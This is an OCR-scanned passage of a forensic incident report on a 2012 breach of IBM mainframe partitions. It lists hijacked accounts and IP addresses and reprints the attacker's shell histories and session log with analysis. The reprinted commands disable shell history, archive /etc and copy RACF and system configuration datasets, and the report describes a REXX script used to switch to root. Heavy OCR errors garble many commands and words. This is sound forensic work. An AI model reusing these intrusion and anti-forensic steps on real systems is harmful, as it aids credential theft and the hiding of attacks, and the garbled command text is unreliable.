the perpetrators. This benchmarking where performed to verify the correctness of John the 

Ripper too/ as weil as an evaluation of the password qua/ity and account/password over/ap 

between the two LPARs. 

Collection of fil e s and too Is 

Som e of the too ls  that where fou nd  on  SYS3 .  S im i l a ri ly the re had  been up l oaded fi les on SY19 

as  we i l , l eft beh i n d  by the perpetrator, u nti l they acc identa l ly got de leted by the system staff 

as  a n  emergency task  when the system run ned out  of free d i s k  space .  By accidenta l ly we here 

mea n that they where de leted on p u rpose by the Logica system staff, but  they d i d n't know the 

content of the fi l es .  I f  they h ad  u ndersta nd  that the fi les l ayi ng a round  in  the tem pora ry 

stora ge a rea where not j ust j u  n k  fi l es, b ut too l s a nd  evidence from the perpetrators, they 

wou l d  most certa iny  have kept the m o r  kept a copy of the m .  Th is  d i s k  s pace pu rge was 

performed du ri ng the weekend a round  the 10th of Ma rch 2012 .  

The actua l  scr i pt fi l es  and sou rce code to too l s  we found  on  SYS3 i s  descr i bed i n  deta i l s  l ater in  

th i s  docu ment. 

F rom SYS3 we found ,  amongst othe r  fetehed fi l es, the fo l l owi ng fi les saved i nta the atta cke rs 

own stash  i n  /tm p :  

4 http ://www. openwa l l . com/john/ 
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• sq lg i ntp 
• sq lg i n it 
• sq lgfi n i  
• sq lgcm p l  
• sq lga l hv 
• sq lexec 
• sq l dbs 
• db2p l i 8c 
• db2p l i 8  

F rom th i s  screenshot, we ca n now show that  these fi l es where ava i l a ble  on  the serve r 

beforehand .  

Figure 1 6  Fi l  e listing o f  SQl f D B 2  related files 

Th us these fi les  where not up l oaded, as atta ck too l s  to the system, as we be l i eved in the fi rst 

p l ace, but rather  "co l l ected" by the perpetratar to be down loaded or be used . 

From logs, we have found  that the perpetratar have s howed i n terest i n  DB2 data bases, by for 

exa mp le  sea rch i ng a nd  grepp ing  for "DB2" and  s im i l a r . 
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Tech n i ca l  descr i pt i o n  of fa re ns i c  

i nvest igat ion  
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The d i ffe rent sto len  user accou nts ca n be d iv ided i nta d iffe rent categories, depend i ng on how 

they have been used : 

• Accounts i nvalved with ma l i c ious access to the ma i nfra me  
• Accou nts i nvalved with ma l ic ious access to i nfotorg 

A longer list on users can be found in the appendix, see "Appendix H: User accounts in volved in 

the attacks" page 196. 

Users hijacked and used in SY19 

U ser Date Type of access Com ments 
AVIY354 FTP, 
AVIY356 FTP, SSH 
AVIY357 FTP, SSH 
AVIY991 2012-03-10 FTP, custom 

attack too l 
SPRB I01  2012-03-08 FTP, 
DAF1682 FTP, TSO 
ASI0936 2012-03-08 
BSN0058 2012-03- FTP, 
N US 2012-03-10 FTP, 

backdoor? 
WAHS006 FTP 

. .  

Ta bell  l Users h •Jacked and used m SY19 

Users hijacked and used in SYS3 

Down lead i ng of system fi les, e .g .  content of /etc 
tra nsfer 

Ta bell  2 Users h ijacked and used in SYS3 

Users per source lP address 
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2012-03-23 202 . 120. 189 . 223 DAF1682, DAF5648 
2012-03-05 178. 18 .243 .27  BSN0058 
2012-03-09 178 . 18 .243 . 27 AVIY356 
2012-03-15 178 . 18 .243 .27  SUPERUSR, WM ROCAR 
2012-03-10 203 . 176. 141. 205 AVIY356 
2012-03- 10 192 .71 .4 .33 AVIY991 

WMSTOTI 
Ta bel l  3 Users per source lP address 

Source lP address per user 

Date LPAR U ser l P  
AVIY356 
AVIY991 
N U S  

2012-03- 15--16 SYS19 WAHS006 127.0 .0 . 1, 217 . 150. 174.80 
2012-03-23 DAF1682 202 . 120.189.223 
2012-03-23 DAF5648 202 . 120. 189. 223 

BSN0058 
WM ROCAR 
SU PERUSR 

Ta bel l  4 Users per source l P  address 
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A techn i ca l  exa m i nat ion have been performed of the actua i i BM ma i nfra me pa rt it i ons, both 

the d i rect ly i nvalved pa rtit i ans (SY19 a n d  SYS3} ,  a s  we i l  as  other  pa rtit ians  on  the sa me 

ma i nfra me, e .g .  WS22, TK12, etc. 

I n  the exa m i nat ion ,  the genera l  hypothes is  has  been to sea rch for u n usua l  or m a l i c ious 

activit ies in  the fi l e  system, process execut ion envi ronment, etc . S i nce exa m i nat ion of a l ive 

system is very p rob lemat ic - evidence is cha nged by the ord i n a ry system usage ove r t i me, the 

exa m i nator m ight affect the a ctua l  fi l e  metadata and fi l e  content, th i s  was performed with 

extreme cauti on .  

Even though the exam i nat ion sta rted i n  end  o f  ma rch a nd  t he  t i me l i ne  suggested t h a t  t he  

known m a l ic io i us  act iv it ies where mapped to  have sta rted i n  t he  end  o f  Febru a ry, we  decided 

to extend ou  r per iod of  sea rch for act iv it ies to 120 days from the date of exa m i nat ion ,  thus  

a l so i nc l ude a ny activity to  have been registered i n  the end  of  2011 .  

WS2 2 

The same scri pt that  where deve l oped on  SY19 a nd  SYS, a nd  tracked ma l i c ious  act iv ity the re, 

where runned on  WS22 .  No ma l ic ious act iv it ies where found  on th i s  z/05 system .  Th i s  system 

was i nvestigated m a i n ly beca use it a l so  i s  used by App l i cate. 
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The same scri pt that where deve loped on SY19 and  SYS, a nd  tracked ma l ic ious activity the re, 

where run ned on WS22.  No m a l ic ious activit ies where found  on th i s  z/OS system .  

Collection and analys i s  o f  logs 

Description of the logs and log collection 

This  i nc ident i nvalved a n u m ber  of  systems .  l t  a l so i nva lved remote access to these systems, 

thus  gateways such as fi rewa l l  s had  generated l ogs for the remote access. 

• TRM D  logs from the I B M  z/OS host based i ntrus ion detection  system 
• USS sys l og fi l es, when ava i l ab l e  

• SMF  record type 30 l ogs 
• SMF  AP I -ca l l l ogs 

• VMS SYSLOG logs 
• RACREP 
• F i rewa l l l ogs from fi rewa l l s  protect ing the SYS3 a nd  SY19 ma i nfra me partit ians  
• . sh_h istory fi les 

In tota l severa l  T e ra bytes of l ogs have been co l l ected and ana lyzed . 

Som e of the l ogs a re sti l l  saved and ana lysed as text fi les .  But the majority of the  l ogs a re 

i m ported to one of severa l data bases for qu i cker a n a lys i s  of ! a rge data vo l u mes .  

For the i nvestigation  two data bases softwa re so l utions  have been used, one i m p lemented i n  

mysq l a nd  o n e  i n  postgresq l .  

Description o f  the analysis 

Severa l too l s  where found  l eft on the cam pram ised systems .  In rea l i ty, on  ly too l s  from the 

SYS3 partit ion  where ava i l a b l e  for ana lysis, s i nce the too l s  u p loaded to SY19 where de leted as 

part of the emergency to free d i sk space on the syste m, when the free space run ned low. Th is  

has  been descri bed e l sewhere i n  the docu ment. 

Analysis of .sh_history files 

A sma l l  nu m ber of so ca l i ed h i story fi les have been found  and  ana lysed .  The h i story fi l es, mo re 

correct ly ca l i ed . sh_h istory i s  co l l ection  of h i stor ica l evidences of what types of U N IX/USS 

com mands  have been given to the com mand  i nte rprete r  progra m, the /bi n/sh .  

U nfortunately these l og fi l es does not give a comp l ete p icture o f  t he  d i ffe rent activit ies i n  t he  

system .  H uge efforts have been  done  to  com b ine  t he  content o f  these fi l es  with other  fi l es, 

e.g. SMF  record type 30 fi l es, where more com m a nds have been saved, no matter if the user 

have turned off the  h i story fu nction  i n  the she l l  or  removed h i s  . sh_h istory fi le .  
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I d  
. / go . rx O l 

vi go . rx 
id  
. / go . rx o 2 

id  
. / go . rx o o 
i d  
exit  

i d  
exit 
i d  
exit  

id  
exit  
id  

vi go . rx 
export TERM=vt l O O  
vi go . rx 
. / go . rx O l 

i d  
vi go . rx 
vi go . rx 

. / go . rx 
id  
. / go . rx O 2 
i d  

. / go . rx O l 
i d  
l s " / / ' s y s 2 . op s . lpar . rexx ' " 

cp - r  " / / ' s ys 2 . op s . lpar . rexx ' " / tmp / rx 
id  s y s 2  
i d  - g  s y s 2  
l s 

i d  
i d  da f l 4  7 3 
i d  rac fadm 

i d  ra c f 
i d  racfstoto  
i d  racfsto  
. / go . rx 1 4 7 3  5 0 7 7 0 0  

i d  
i d  
s u 
id  

i d  
i d  

Figure 1 7  Content of .sh_history fil e of o n  SY19 

Th is  vers ion of the . sh_h istory fi l e was stored in the /SYSTEM/va r d i rectory. 
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As is evident from the fi l e  a bove, the REXX progra m "go . rx" have both been ed ited severa l 

t i mes as we i l  as executed severa l t imes .  The actua l  content of "go. rx" scr i pt ca n be seen i n  

F igure 91 on page 156.  

A descri ption  of the events in the h i story fi l e i s :  

• The fu l l  screen text ed itor "vi" i s  used to ed it  the sou rce code for the "go . rx" p rogra m 

m u lt ip le  t imes .  Th i s  is proba b ly done to fix some errors with the p rogra m .  
• The scri pt progra m "go . rx" is ru n ned m u lt i p l e ti mes with d iffe rent a rguments. The 

scri pt ta kes two a rguments, fi rst the n u mer ica l  user i d  (U I D) of the user to switch to, 

then the n umerica l group  i d  for the group  under  which the new com m a n d  i nterpreter 

shou l d  be l a u nched . If successfu l ly executed, th i s  p rog ra m wou l d  switch the user to a 

new user, without logg i n  out a nd  l ogg ing i n, a nd  thus  effective ly gett i ng the n ew users 

system access perm iss ions .  Without the user hav ing be i ng p rom pted for a password . 
• The com mand  " id" without a rguments is used frequent ly to exa m i ne if the effect of 

the "go . rx" scri pt has warked as  i ntended .  
• The command  " id" with a rguments i s  used to exa m i ne a specifi c  user, what user i d  

hejshe have, what  groups that  user be longs to, etc 

Ou r ana lys is  of th i s i s that th i s  is on e way that has  bee n used to ga i n  root access. 

The fo l l owing fi l e, a nother copy of a . s h_h istory, i s  create by the user with uid O on the SY19. lt 

was saved in the /SYSTEM/etc/ d i rectory. 

unset  H I S TORY 

unset  H I S T F I LE 
t s o  ' l i s t cat catalog ( ibmu s e r ) '  
t s o  ' l i s tcat ca  tal  og ( d3 8 4 ) ' 
t s o  ' l i s tcat catalog ( d3 8 4 . )  ' 

t s o  ' l i s tcat  catalog ( PS 1 9 0 0 1 1 3CCATALOG . SYS 1 9 . MASTER1 2 ) ' 
t s o  ' l i s tcat catalog ( s ys 1 9 . ma s t e r 1 2 ) '  
t s o  l i s tcat  catalog ( s ys 1 9 . ma s t e r ) ' 

t s o  l i s tcat ' catalog ( s ys l 9 . ma s t e r ) ' 
t s o  l i s t cat ' catalog ( d3 8 4 . ma s t e r ) ' 
t s o  l i s t cat ' catalog ( s ys l . ma s t e r ) ' 
t s o  help 

tso  l i s tds 
t s o  l i s t  
t s o  ' l i s t  * '  

t s o  l i s t a l e  
t s o  ' l i s t cat catalog ( catalog . s ys 1 9 . ma s t e r 1 2 ) '  

t s o  ' l i s tcat catalog ( catalog . s ys 1 9 . ma s t e r ) ' 
t s o  ' l i s tcat  catalog ( ca t a l og . s ys 1 9 ) ' 
t s o  ' l i s tcat catalog ( catalog . s ema i n f ) '  
t s o  ' l i s tcat  catalog ( ca t a l og ) ' 
t s o  ' l i s tcat l ibrary ( s ys 1 9 . parml ib ) ' 
t s o  ' l i s t cat help ' 

t s o  ' help  l i s tcat ' 
t s o  l i s tcat  * a l l  
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t s o  l i stcat  all  
t so  l i s t cat a l l  ' f i l e ( s emain f ) ' 

t s o  l i stcat  catalog ( ' catalog . s ys l . ma s t e r . data ' )  

pwd 
t s o  " l i s t cat catalog ( catalog . s ys 1 9 . ma s t e r . data ) " 

t s o  " l i s tcat vo lume " 

t s o  " l i s t cat catalog ( I CFMAS T l ) " 

t s o  " l i s t cat name s ( de faul t ) "  

t s o  " l i s t cat name s "  

t s o  " l i s tcat name s ( de faul t ) "  

t s o  " l i s t cat catalog ( ma s t e r 1 2 ) " 

t s o  " l i s t cat  catalog ( s ys 1 9 . ma s t e r 1 2 ) "  

submi t & 
pwd 
cd / tmp 
i d  
t s o  " l i s tcat catalog ( e 4 8 4 . ) "  

pwd 
l s 

cd / u  ser s 
l s 
l s - l R  
l s - l R  wmovlae  

cd /u 
l s 
l s / e t c /  

c d  / tmp 
urna s k 
uma s k  O 
tar  cvf z apt . tg z  / e t c /  

pwd 

l s  / e t c /  
c a t  / e t c / inetd . confc  
cat  / e t c / inetd . con f 

cat  / e t c / ftp . data 
cat  / e t c / ftp . env 
ls - l a d  / e t c / ftp * 
l s  " ' / / s emain f . parml ib ' "  
cp " ' / / s emainf . parmlib ' "  / tmp / p l  
c p  " ' / / d3 8 4 . parml ib ' "  / tmp /p l  
c p  " ' / / s ys 1 9 . procl ib "' / tmp/pl  

cp  " / / ' s emain f . parml ib ' "  / tmp /p l  
c p  " / / ' d3 8 4 . parml ib "' / tmp /p l  
c p  " / / ' d3 8 4 . procl ib "' / tmp/pl  
cp  - r  " / / ' SY S 2 . PROCL I B ' "  / tmp / a / 2  

mkdi r / tmp / a O  

cp -R " / / ' s y s 2 . procl ib ' "  / tmp / a O /  

cp -R " / / ' s ys l . pro c l ib ' "  / tmp / a O /  

l s / tmp / a O  

c d  / tmp / a O  

c a  t ra  c f 

ca  t telnet  

ca  t ftp 
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cat ftpd 
rnkdir  l tmp l a l l 

cp - r  " l l 1 t cpip . tcppararns "1 l tmp l a l l 
cp - r  " l l 1 tcp ivp . tcpparrns 1 "  l tmp l a l l 
cp " l l 1 tcpip . pr o f i l e . tcpip "1 l tmp l a l l 

l s  l tmp l a l l 
cp - r  " l l 1 tcpip . profile "1 l tmp l a l l 
cp - r  " l l 1 t cpivp . tcpparrns 1 "  l tmp l a l l 
cp - r  " l l 1 tcp ivp . t cpparrns "1 l tmp l a l  

c p  " l l 1 tcpip . tcpip . data "1 l tmp l a l l 
cp - r  " l l 1 tcpip . * "1 l tmp l a l l 
cp - r  " l l 1 t cpip 1 "  l tmp l a l l 
l s 
cat storepw 
cat s e cadrnin 
ls * db *  

c a t  s e c irnpdb 
l s 
cat i rrdptab 

cp " l  l 1 sys  l .  s arnpl ib ( i rrdp s ds ) 1 "  l tmp l a l l 
cat l trnp l a l l i rrdp s ds 
grep CAT l tmp l a l l *  
grep - i  cata  * 
grep DB * 
ca  t seccrtdb 
l s 

ca  t ra c f 
ca  t ornvs 
ca  t re x x 

ca t n et  

ca  t ipl j ob l  
grep - i  spar * 
grep - i  s erna * 
cat  h z sproc 

cat tcpip 
ca  t " l  l 1 s y s  l .  t cpparrns ( tcpdata ) 1 "  
l s 

cat c s f s tart 
cat " l l 1 cpac . parrnl ib ( cs fprrn0 1 )  "1 
cat s krbkdc 
grep -i irns * 

cat c f z cirn 
grep - i  volvo * 
grep - i  wrn * 

cat  l ogonwrnO 
cat " l l 1 cpac . crndproc 1 "  
cp - r  " l l 1 cpac . crndproc 1 "  l tmp l a l  
cp - r  " l l 1 s y s 2 . prod . cl i s t "1 l trnp l a l  

c p  - r  " l l 1 s y s l . proc . cl i s t "1 l trnp l a l  
l s 
grep CAT * 

grep DB * 
grep - i  racf  * 
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grep - i  rac fds * 
grep DS * 

cat i oep* 
cat z fs *  
l s 

l s  " / / ' s ys 4 ' "  
l s 
d f 
l s  / u / d 6 1 0 / r fvftp 

l s  / u s r / lpp /pl i 

l s  / u s r / lpp / c i c s t s / appl 
ls -lR / u s r / lpp / c i c s t s  

pwd 
cp -R / u s r / lpp / c i c s t s  . 
l s 
pwd 

cd . .  
tar  cvf z a O . tg z  a O /  
w 
who 

Figure 18 content of " .sh_history" fi le by user with u id O from SY19 

A descri ption  of the events i n  the h i story fi l e i s :  
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• The perpetratar i n it ia l ly act ively give the com ma nds "un set  H I S TORY" a nd  "unset  

H I S TF I LE "  to  d i s ab l e  the h i story featu re o f  t he  com mand  i nte rpreter (/bi n/sh ), thus  

tryi ng to avo id  h av i  ng the storage of  a ny traces of  h i s  a ct iv it ies .  
• The perpetratar executes the "tso" com mand  m u lt i p l e ti mes to l i st a nd  extract 

i nformat ion from the system s  TSO part ( not USS in wh ich  he i s  cu rrent ly l ogged i n ) .  

N o n e  o f  the l i stcat com mands  where correct s o  no  i nformation  where foun d .  
• The content of the /etc/ d i rectory is saved i n  the ta r a rch ive ca l ied "a pt.tgz" 
• The pe rpetratar cop ies system configurat ion fi les from MVS i nta the "aO" d i rectory he 

have created i n  the USS pa rt, as  a subd i rectory to the tem pora ry storage a rea "/tmp" .  
• The content of the fi les the perpetratar have co l l eted i n  the "aO" d i rectory is saved i n  

the ta r a rch ive c a  l i ed "aO.tgz" 
• The pe rpetratar copies system configuration  fi les  from MVS i nta the "pl" d i rectory he 

have created i n  the USS pa rt, a s  a subd i rectory to the tem pora ry sto rage a rea "/tmp" 
• The perpetratar copies system configurat ion fi l es from MVS i nta the "a l"  d i rectory he  

have created i n  the USS pa rt, as  a subd i rectory to the tem pora ry storage a rea "/tm p" 

• The perpetratar uses the "grep" com m a nd to sea rch the  content of fi l es .  H e active ly 

sea rches for keywords such as  "spa r", "sema", "wm", "rad", "CAT", "DB" 
• The command  "w" and  "who" d isp l ay  what other  users a re cu rrent ly l ogged i nta the 

ma i nfra me in  SY19. Thus the perpetratar ca n see if the re a re other  users active or  if h e 

ca n suspect that he is be ing fo l l owed .  

Ou r a na lys is o f  th i s i s that he  have act ively tr ied to  ru n TSO jobs, he  have tr ied to  l i st a nd  

co l l ect i nformation  on datasets and  system setti ngs .  He  both have a worki ng knowledge on  

specifics on the  system ( i e  use rs or  campan ies associated with the mach i ne  such  as  Sema ,  

Strictly confident ia l l Bus i ness Secret l 



Sidan 65 av 574 

Report 

WM{data) etc) a nd  at the same t i me  try out on cha nce a Iot of d i ffe rent th i ng, e .g .  perform i ng 

the l i stcat for I B M USER, a user not exist i ng i n  the system .  

l t  shou ld  b e  noted that the content o f  th i s  h i story fi l e  matehes the content o f  a sess ion l og 

saved loca l ly on  the computer of the ma  i n  perpetrator .  lt shou ld  be obvious that there i s  a 

match between  the two l og fi l es - one stored on the SY19 ma i nfra me as  h i stor ie l og over 

event. On e retrieved by the po l i ce from the com pute r used by the attacke r. The fi l e  with the 

extracted l ogs was ca l l ed "toa nd reas . l og".  

Th i s  part of the sess ion l og i s  repr i nted in a "raw" form at. The fi l e has not been ed ited to 

remove spe i i i  ng errors, etc .  Thus 

• the stra nge cha racters left i n  the text i s  actua l ly contro l cha racters {most nota b ly the 

"de l ete" cha racter, used to remove the cha racter to the left of the cursor) .  
• Some texts a re "i nterm ixed" s i nce the perpetratar has sta rted to type before the 

actua l  output from a com ma n d  has  fi n i shed writ i ng to the screen .  Thus some texts a re 

gobb led i n  the l og, but the com m a nds and  output i s  sti l l  correct du  r ing the actua l  

sess ion .  
• A Iot of text output i s  s hown as  response codes or  Iong texts l i sted . I n  genera l  a 

"comma nd" given by the perpetratar i s  sta rted by the "#" cha racter fi rst on  the I i ne .  

# t s o  l i s t ca t  a ac c a t a l g  o g ( y  s y s l 9 c a  1 l i s t ca t  

c a t a l o g ( 1 s ys l 9 . c a t l g 1 ) ibmu s e r )  1 

l i s t ca t  c a t a l o g ( ibmu s e r )  

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RE TURN CODE IS 4 - REA S ON CODE IS I G G O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  B S N 0 0 5 8 .  NOT L I S TE D  

I DC 0 0 1 4 I  LAS T C C = 4  

R C  ( 4 )  

# t s o  1 l i s t c a t  c a a t a  t a l og ( d3 8 4 )  1 

l i s t ca t  c a t a l o g ( d3 8 4 )  

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RETURN CODE IS  4 - REASON CODE IS  I G G O CLAH - 1 2 0  

I DC 1 5 6 6 I * *  B S N0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS T C C = 4  

RC ( 4 )  

# t s o  l 1 l i s t c a t  c a t a l og ( d3 8 4 . )  1 

l i s t ca t  c a t a l o g ( d3 8 4 . )  

I K J5 6 7 0 9 I  I NVAL I D  DATA S E T  NAME , d 3 8 4 . 

I K J5 6 7 0 1 I  MI S S ING 1 CATALOG 1 CATALOGNAME / PA S S WORD VALDE+ 
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I K J5 6 7 0 1 I  MI S S ING CATALOGNAME TO BE SEARCHE D ,  PAS SWORD I S  O P T I ONAL 

I DC 0 0 1 4 I  LAS TCC= 1 2  

R C  ( 1 2 )  

# t s o  1 1 i s t c a t  c a t a l og ( s ys 1 9 . c a t l g 1 

P S 1 9 0 0 1 1 3 C CATALOG . SY S 1 9 . MASTER1 2 )  1 

l i s t ca t  c a t a l o g ( PS 1 9 0 0 1 1 3 C CATALOG . SY S 1 9 . MASTER1 2 )  

I K J5 6 7 0 9 I  I NVAL I D  DATA S E T  NAME , P S 1 9 0 0 1 1 3 CCATALOG . SY S 1 9 . MASTER1 2 

I K J5 6 7 0 1 I  MI S S ING 1 CATALOG 1 CATALOGNAME / PAS SWORD VALUE + 

I K J5 6 7 0 1 I  MI S S ING CATALOGNAME TO BE SEARCHE D ,  PAS SWORD I S  O PT I ONAL 

I DC 0 0 1 4 I  LAS TCC= 1 2  

RC ( 1 2 )  

# t s o  l i s t  1 l i s t c a t  c a t a l og ( s ys 1 9 . ma s t e r 1 2 )  1 

l i s t ca t  c a t a l o g ( s y s 1 9 . ma s t e r 1 2 ) 

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RETURN CODE IS 4 - REASON CODE IS I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC= 4 

RC ( 4 )  

# t s o  l i s t ca t  c a t a 1 o g ( s y s 1 9 . ma s t e r ) 1 

F S UM7 3 3 2  s yntax e r ro r : g o t  ( ,  expe ct i n g  Newl ine 

# tso l i s t ca t  1 C a t a l o g  ( s s  ys 1 9 . ma s t e r )  1 

l i s t c a t  c a t a l o g ( s y s 1 9 . ma s t e r ) 

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RETURN CODE IS 4 - REASON CODE I S  I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  l i s t ca t  ca 1 c a t a l o g  (e d3 8 4  . ma s t e r )  1 

l i s t cat c a t a l o g ( d3 8 4 . ma s t e r )  

I DC 3 0 1 6 I CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RE TURN CODE IS 4 - REASON CODE I S  I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  B S N0 0 5 8 .  NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 
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RC ( 4 )  

# t s o  l i s t cat ' c a t a l o g ( s ys l . rns a s t e r ) ' 

l i s t cat c a t a l o g ( s y s 1 . rna s te r )  

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RE TURN CODE IS 4 - REASON CODE IS I G G O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S T E D  

I DC 0 0 1 4 I  LAS TCC= 4 

RC ( 4 )  

# t s  t s o  he1p 

h e l  p 

LANGUAGE PROCE S S ING COMMANDS : 

ASM I NVOKE AS SEMBLER PROMPTER AND A S S EMB LER F COMP I LER . 

CALC I NVOKE I T F : PL / 1  PROCE S S OR FOR DESK CALCULATOR MO DE . 

C OBOL I NVOKE COBOL PROMPTER AND ANS COBOL COMP I LER . 

FORT I NVOKE FORTRAN PROMPTER AND FORTRAN IV G 1  COMP I LER . 

PROGRAM CONTROL COMMANDS : 

CALL LOAD AND EXECUTE THE S PEC I F l E D  LOAD MODULE . 

L I NK I NVOKE L I NK PROMPTER AND L I NKAGE E D I TOR . 

LOADGO LOAD AND EXECUTE PROGRAM . 

RUN COMP I LE ,  LOAD , AND EXECUTE PROGRAM . 

T E S T  TE S T  U S E R  PROGRAM . 

T E S TAUTH T E S T  APF AUTHOR I Z E D  PROGRAMS . 

DATA MANAGEMENT COMMANDS : 

ALLOCATE 

ALTL I B  

ALLOCATE A DATA S E T  W I T H  O R  W I T HOUT AN ATTRI BUTE 

L I S T  OF DCB PARAMETERS . 

DEF INE O P T I ONAL , USER- LEVEL OR APPL I CAT I ON - LEVEL S E T S  OF 

L IBRARI E S  CONTA I N ING SAA/ PL E XE C S  OR C L I S T S . THE S E  
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L IBRARI E S  ARE S EARCHE D WHEN IMPL I C I TLY I NVOK ING AN 

SAA / P L  EXEC OR CL I S T . 

ATTRIB ALLOW DCB PARAME TERS TO BE DYNAMI CALLY I NTRODUCED 

AND NAME D FOR U S E  WITH A SUBS EQUENT ALLOCATE COMMAND . 

C ONVERT S I FT I T F / PL l  AND FORTRAN SOURCE . 

C O PY COPY A DATA S E T . ( SE E  NOTE BELOW . ) 

DE LE TE 

E D I T  

FORMAT 

DELETE A DATA S E T . 

CREATE , E DI T ,  AND /OR EXECUTE A DATA S E T . 

FORMAT AND PRINT A TEXT DATA S E T . ( SE E  NOTE BELOW . ) 

FREE RELEASE A DATA S E T  AND / OR AN AT TRIBUTE L I S T . 

L I S T D I S PLAY A DATA S E T . ( S EE NOTE BELOW . ) 

L I S TALC 

L I STBC 

L I S T CAT 

L I S T D S  

MER GE 

PRINTDS 

PROTE C T  

RE NAME 

T S OL I B  

D I S PLAY ACT IVE DATA S ET S . 

D I S PLAY ME S SAGE S FROM OPERATOR/ USER . 

D I S PLAY USER CATALOGUED DATA S E T S . 

D I S PLAY DATA S E T  AT TRIBUTE S .  

COMB I NE DATA S E T S . ( SEE NOTE BELOW ) . 

PRINT A DATA S E T . 

PAS SWORD PROTE C T  DATA S E T S . 

RENAME A DATA S E T . 

DEF INE OPT I ONAL S EARCH LEVE L THAT T S O / E  U S E S  WHEN SEARCH ING 

FOR COMMAND S  AND PROGRAMS . 

NOTE : T HE T S O  DATA UT I L I T Y  COMMANDS , COPY , FORMAT , L I S T  AND MERGE , 

ARE PART OF PROGRAM PRODUCT 5 7 3 4 - UT l . T H I S PRODUC T MU S T  BE 

I N S TALLED PRI OR T O  UT I L I Z ING THE COMMAN D S  AND RE LAT E D  HE L P S . 

S Y S TEM C ONTROL C OMMANDS : 

ACCOUNT MOD I FY / AD D / DE LETE USER ATTRIBUTE S .  

CONSOLE P LACE TERMINAL I N  C ON SOLE MODE . 

O PERAT OR P LACE TERMINAL IN OPERATOR MODE . 

PARML I E  L I S T / UP DATE T S O / E  DE FAULT S .  
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RACONVRT UAD S TO RAC F DATA BAS E CONVERS I ON UT I L I T Y . 

S YNC S YNCHRON I ZE T HE BROADCA S T  DATA SET WITH USER I DS FROM THE 

UAD S AND RAC F  DATA BAS E . 

S E S S I ON CONTROL : 

C ONS PROF DE F INE USER C ONSOLE CHARACTERI S T I C S . 

EXEC I NVOKE COMMAND PROCE DURE . 

EXECUT I L  ALTER REXX ENVI RONMENT . 

H E L P  I NVOKE HE L P  PROCE S S OR . 

LOGOFF END TERMINAL SE S S I ON .  

L O  GON S TART TERMINAL SE S S I ON .  

PROF I L E  DEF INE USER C HARACTER I S T I C S . 

S END S END ME S SAGE TO OPERATOR/ USER . 

TERM I NAL DEF INE TERMINAL C HARACTER I S T I C S . 

T IME LOG S E S S I ON U SAGE T IME . 

T S OEXEC EXECUTE AN AUTHOR I Z E D  OR UNAUTHORI Z E D  COMMAND 

FROM W I T H I N  AN UNAUTHOR I Z E D  ENV IRONMENT . 

WHEN COND I T I ONALLY EXE CUTE NEXT COMMAND . 

FORE GROUND I N I T IATED BACKGROUND COMMANDS : 

CAN CEL CANCE L BACKGROUND JOB . 

OUTPUT D I RE C T  OUTPUT ME D I UM FOR BACKGROUND JOB . 

S TATUS L I S T  S TATUS O F  BACKGROUND JOB . 

S UBM I T  S UBMI T BACKGROUND JOB . 

INTERACT IVE DATA TRANSMI S S I ON FAC I L I TY : 

RE CE I VE RECE I VE DATA SENT TO YOU BY A TRAN S M I T  COMMAND . 

TRAN SM I T  TRANSMI T ME S SAGE S AND / OR DATA S E T S  VIA NODE S D E F INED TO JE S .  

I K J5 6 8 0 3 I  FOR MORE I NFORMAT I ON ENTER HELP COMMANDNAME OR HE LP HEL P  
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# t s o  l i s t ds 

l i s t d s  

Sidan 70  av  57 4 

Report 

I K J5 6 6 5 2 I You at temp t e d  to run an au thor i z ed c ommand or p r o g r am . Thi s i s  not 

s uppo r t e d  unde r the Dynami c T S O  Envi ronmen t .  

FOMF 0 1 3 9 I  Au tho r i z e d  c ommands are n o t  supp o r t e d  

# t s o  l i s t  

l i s t  

FOMF 0 1 3 6 I  Command n o t  found 

# t s o  ' l i s t  * '  

l i s t  * 

FOMF 0 1 3 6 I  Command n o t  found 

# t s o  ' l i s t a l e  

l i s t a l e  

NULL F I LE 

/ dev/ fdl 

# t s o  l i s t  ' l ' l i s t c a t  c a t a l o g ( c a t a l og . s ys 1 9 . ma s t e r 1 2 ) '  

l i s t ca t  c a t a l o g ( c a t a l o g . s y s 1 9 . ma s t e r 1 2 ) 

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RE TURN CODE IS 4 - REASON CODE I S  I G G O CLAH - 1 2 0  

I DC 1 5 6 6 I * *  B S N 0 0 5 8 .  NOT L I S TE D  

I DC 0 0 1 4 I  LAS T C C = 4  

RC ( 4 )  

# t s o  ' l i t s  s t c a t  c a t a l og ( c a t a l o g . s ys l 9 . ma s t e r ) ' 

l i s t ca t  c a t a l o g ( c a t a l o g . s y s l 9 . ma s t e r ) 

I DC 3 0 1 6 I CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RE TURN CODE IS 4 - REASON CODE I S  I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  B S N 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS T C C = 4  

RC ( 4 )  

# t s o  ' l i s t c a t  c a t a l og ( c a t a l og . s ys 1 9 ) ' 

l i s t cat c a t a l o g ( ca t a l o g . s y s l 9 ) 

